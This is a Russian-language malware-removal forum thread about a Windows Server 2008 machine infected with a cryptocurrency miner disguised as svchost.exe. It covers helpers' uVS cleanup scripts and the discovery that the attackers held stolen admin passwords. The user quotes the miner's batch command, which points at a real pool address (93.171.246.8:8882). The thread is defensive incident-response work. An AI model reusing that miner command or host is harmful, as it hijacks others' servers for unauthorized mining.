нечто маскируется под svchost

Ребята, имеется server2008, в котором регулярно появляется процесс svchost. ProcessExplorer ничего о нем сказать не смог, кроме того, куда он стучится (93.171.246.8:8882). Увы, антивирусное ПО ничего не находит.
Уже опытным путем установил, что если зарезать исходящий порт - эта зараза перебирает следующие 100 и снова начинает грузить систему на 100%. Пока пишу это сообщение - процесс сам по себе исчез. Руками убивать смысла нет - поднимается сам когда захочет.
Во вложении логи.
Есть у кого какие мысли?

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

отдельным постом прикрепляю скриншот

Уважаемый(ая) [B]drone[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в [URL="http://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

отвечаю сам себе - это майнинг криптовалюты
запускается по цепочке taskmgr.exe-cmd.exe-svchost.exe одним из пользователей rdp
найти, что же запускается, пока не смог

[LIST=1][*]Скачайте [B][URL="https://yadi.sk/d/6A65LkI1WEuqC"]Universal Virus Sniffer[/URL][/B] (uVS)[*]Извлеките uVS из [I]архива[/I] или из [I]zip-папки[/I]. Откройте папку с UVS и запустите файл [B]start.exe[/B]. В открывшимся окне выберите пункт [B]"Запустить под текущим пользователем"[/B].[*]Выберите меню [B]"Файл"[/B] => [B]"Сохранить полный образ автозапуска"[/B]. Программа предложит вам указать место сохранения лога в формате [B]"имя_компьютера_дата_сканирования"[/B]. Лог необходимо сохранить на рабочем столе.
[INDENT][SIZE="1"][B]!!!Внимание.[/B] Если у вас установлены архиваторы [B]WinRAR[/B] или [B]7-Zip[/B], то uVS в автоматическом режиме упакует лог в архив, иначе это будет необходимо сделать вам вручную.[/SIZE][/INDENT][*]Дождитесь окончания работы программы и прикрепите лог к посту в теме.
[INDENT][SIZE="1"][B]!!! Обратите внимание[/B], что утилиты необходимо запускать от имени Администратора. По умолчанию в [B]Windows XP[/B] так и есть. В [B]Windows Vista[/B] и [B]Windows 7[/B] администратор понижен в правах по умолчанию, поэтому, не забудьте нажать правой кнопкой на программу, выбрать [B]Запуск от имени Администратора[/B], при необходимости укажите пароль администратора и нажмите [B]"Да"[/B].[/SIZE][/INDENT][*][/LIST]

сделал

Пароли от учетных записей Guest и Manager поменяйте.

[LIST=1][*]Закройте все программы, [URL="http://virusinfo.info/showthread.php?t=130828"][B]временно[/B] выгрузите антивирус, файрволл и прочее защитное ПО[/URL].[*]Откройте папку с распакованной утилитой [B]uVS[/B] и запустите файл [B]start.exe[/B]. В открывшимся окне выберите пункт "[B]Запустить под текущим пользователем[/B]".[*]Выделите и правой кнопкой мыши скопируйте следующий скрипт в буфер обмена:
[CODE]
;uVS v3.85.6 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v385c
breg

zoo %SystemDrive%\USERS\GUEST\DESKTOP\JHPROTOMINER.EXE
delall %SystemDrive%\USERS\GUEST\DESKTOP\JHPROTOMINER.EXE
delall %SystemDrive%\USERS\MANAGER\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\STARTUP\XVVNUJIYUYTRGFHG4564T4TRFFDCBVNGHFGBVNFGHFHGJGHTYUDFGFHGJUFRTGRTEFDG - ЯРЛЫК.LNK
delall %SystemDrive%\USERS\MANAGER\DESKTOP\XVVNUJIYUYTRGFHG4564T4TRFFDCBVNGHFGBVNFGHFHGJGHTYUDFGFHGJUFRTGRTEFDG.EXE
zoo %SystemRoot%\CONF.EXE
czoo
[/CODE][*]В [B]uVS[/B] выберите пункт меню "[B]Скрипт[/B]" => "[B]Выполнить скрипт находящийся в буфере обмена...[/B]"[*]Нажмите на кнопку "[B]Выполнить[/B]" и дождитесь окончания работы программы.[*]После выполнения скрипта в папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "[b]Прислать запрошенный карантин[/b]" над над первым сообщением в теме.[/LIST]

Сделайте новый лог uVS.

спасибо, все сделал
новые логи:

[url]http://rghost.ru/6nLpXLMFd[/url]

PS выложил на сторонний ресурс, здесь почему-то уперся в общий лимит в 976 КБ и удалить старые файлы не смог.

Что с проблемой?

[QUOTE=mike 1;1271381]Что с проблемой?[/QUOTE]

проблема осталась. прикладываю свежие логи с запущенной заразой.
руками уже истребил содержимое папки windows\api (поиск файл не находил. чтобы зайти в папку, мне понадобилось сделать себя ее владельцем)
в ней лежал bat с содержанием:

svchost -a scrypt-jane -o 93.171.246.8:8882 -u admin -p 123456
pause

и сам svchost.exe

истребил руками, могу поделиться образцом.
узнать бы еще, как он запускался...

логи на любой вкус:

[url]http://rghost.ru/6HlRlfqK7[/url]

остальные во вложениях

[LIST=1][*]Закройте все программы, [URL="http://virusinfo.info/showthread.php?t=130828"][B]временно[/B] выгрузите антивирус, файрволл и прочее защитное ПО[/URL].[*]Откройте папку с распакованной утилитой [B]uVS[/B] и запустите файл [B]start.exe[/B]. В открывшимся окне выберите пункт "[B]Запустить под текущим пользователем[/B]".[*]Выделите и правой кнопкой мыши скопируйте следующий скрипт в буфер обмена:
[CODE]
;uVS v3.85.6 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v385c
breg

addsgn BA6F9BB2926F0E220DD4AEB164C8FA281F8FFC1E0106E08715538D3F94FEB2DC705F40BB1ED054C0E0F4AC60535138FC7D9E505855DAB0962C77A42F8B8B6A13 8 Trojan.Coinbit.28 [DrWeb]

zoo %SystemRoot%\API\SVCHOST.EXE
bl 05D2C79636D23C869BE10C47B64EDBCA 418304
delall %SystemRoot%\API\SVCHOST.EXE
zoo %SystemRoot%\CONF.EXE
chklst
delvir

czoo
[/CODE][*]В [B]uVS[/B] выберите пункт меню "[B]Скрипт[/B]" => "[B]Выполнить скрипт находящийся в буфере обмена...[/B]"[*]Нажмите на кнопку "[B]Выполнить[/B]" и дождитесь окончания работы программы. Прошу учесть, что компьютер [B][COLOR="Red"]может быть перезагружен[/COLOR][/B].[*]После выполнения скрипта в папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "[b]Прислать запрошенный карантин[/b]" над над первым сообщением в теме.[/LIST]

Сделайте новый лог uVS.

содержимое папки api вычистил еще вчера, но для дела закинул назад svchost.exe и отправил образец после выполнения скрипта

теперь самое интересное:
ночью некто зашел под учеткой с правами админа (пароль сложный, порядка 15 символов), создал левого пользователя с правами user и сделал log off. перед этим запустил заразу на сервере с рабочего стола. это единственный пользователь с правами админа, у которого я еще не менял пароль.

утром увидел запущенный процесс svchost. процесс ссылался на рабочий стол, но исходника на раб столе уже не было. прибил процесс, папку с профилем, сам профиль, удалил подозрительные драйвера касперского (он не устанавливался, максимум запускался бесплатный сканер)

логи после скрипта с svchost.exe (все еще продолжает запускаться из несуществующих мест) :

[url]http://rghost.ru/8zqn2x2zX[/url]

Вы еще легко отделались. Могли и базы 1С зашифровать на сервере. Пароль от учетной записи Администратора тупо сбрутили. Меняйте все пароли.

[LIST=1][*]Закройте все программы, [URL="http://virusinfo.info/showthread.php?t=130828"][B]временно[/B] выгрузите антивирус, файрволл и прочее защитное ПО[/URL].[*]Откройте папку с распакованной утилитой [B]uVS[/B] и запустите файл [B]start.exe[/B]. В открывшимся окне выберите пункт "[B]Запустить под текущим пользователем[/B]".[*]Выделите и правой кнопкой мыши скопируйте следующий скрипт в буфер обмена:
[CODE]
;uVS v3.85.6 [http://dsrt.dyndns.org]
;Target OS: NTv6.1
v385c
breg

zoo %Sys32%\ETC\SVCHOST.EXE
delall %Sys32%\ETC\SVCHOST.EXE
czoo
[/CODE][*]В [B]uVS[/B] выберите пункт меню "[B]Скрипт[/B]" => "[B]Выполнить скрипт находящийся в буфере обмена...[/B]"[*]Нажмите на кнопку "[B]Выполнить[/B]" и дождитесь окончания работы программы. Прошу учесть, что компьютер [B][COLOR="Red"]может быть перезагружен[/COLOR][/B].[*]После выполнения скрипта в папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "[b]Прислать запрошенный карантин[/b]" над над первым сообщением в теме.[/LIST]

Сделайте новый лог uVS.

[CODE]Копирование файла в Zoo: \\?\C:\WINDOWS\SYSTEM32\ETC\SVCHOST.EXE
Нет доступа к файлу, возможно файл защищен [ C:\WINDOWS\SYSTEM32\ETC\SVCHOST.EXE ]
(!) Не удалось получить доступ к C:\WINDOWS\SYSTEM32\ETC\SVCHOST.EXE
Нет доступа к файлу, возможно файл защищен [ C:\WINDOWS\SYSTEM32\ETC\SVCHOST.EXE ]
(!) Не удалось получить доступ к C:\WINDOWS\SYSTEM32\ETC\SVCHOST.EXE
\\?\C:\USERS\MATV\DOWNLOADS\UVS\UVS\ZOO\SVCHOST.EXE.---
Не удалось скопировать файл [Отказано в доступе. ][/CODE]

как и писал выше - пусто там, такое ощущение, что каждый раз подчищаются следы.

по поводу паролей - все оказалось гораздо хуже. не знаю как, но у третьих лиц оказались пароли от всех администраторских учеток. по логам посмотрел - после смены паролей, была ровно одна попытка входа на каждую из учеток с левого ip.

последний раз svchost.exe стартовал в четверг (parent = cmd.exe). на всякий случай восстановил и cmd.exe, хотя текущий размер совпадал с оригинальным. после этого проблема больше не беспокоит.
буду надеяться, что больше не повторится подобное.

Новый лог uVS сделайте.

[QUOTE=mike 1;1273140]Новый лог uVS сделайте.[/QUOTE]

[url]http://rghost.ru/72dxhkDfx[/url]

сделал.

Лог в порядке. Ставьте обновления на сервер через центр обновлений Windows.

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]2[/B][*]Обработано файлов: [B]3[/B][*]В ходе лечения вредоносные программы в карантинах не обнаружены[/LIST]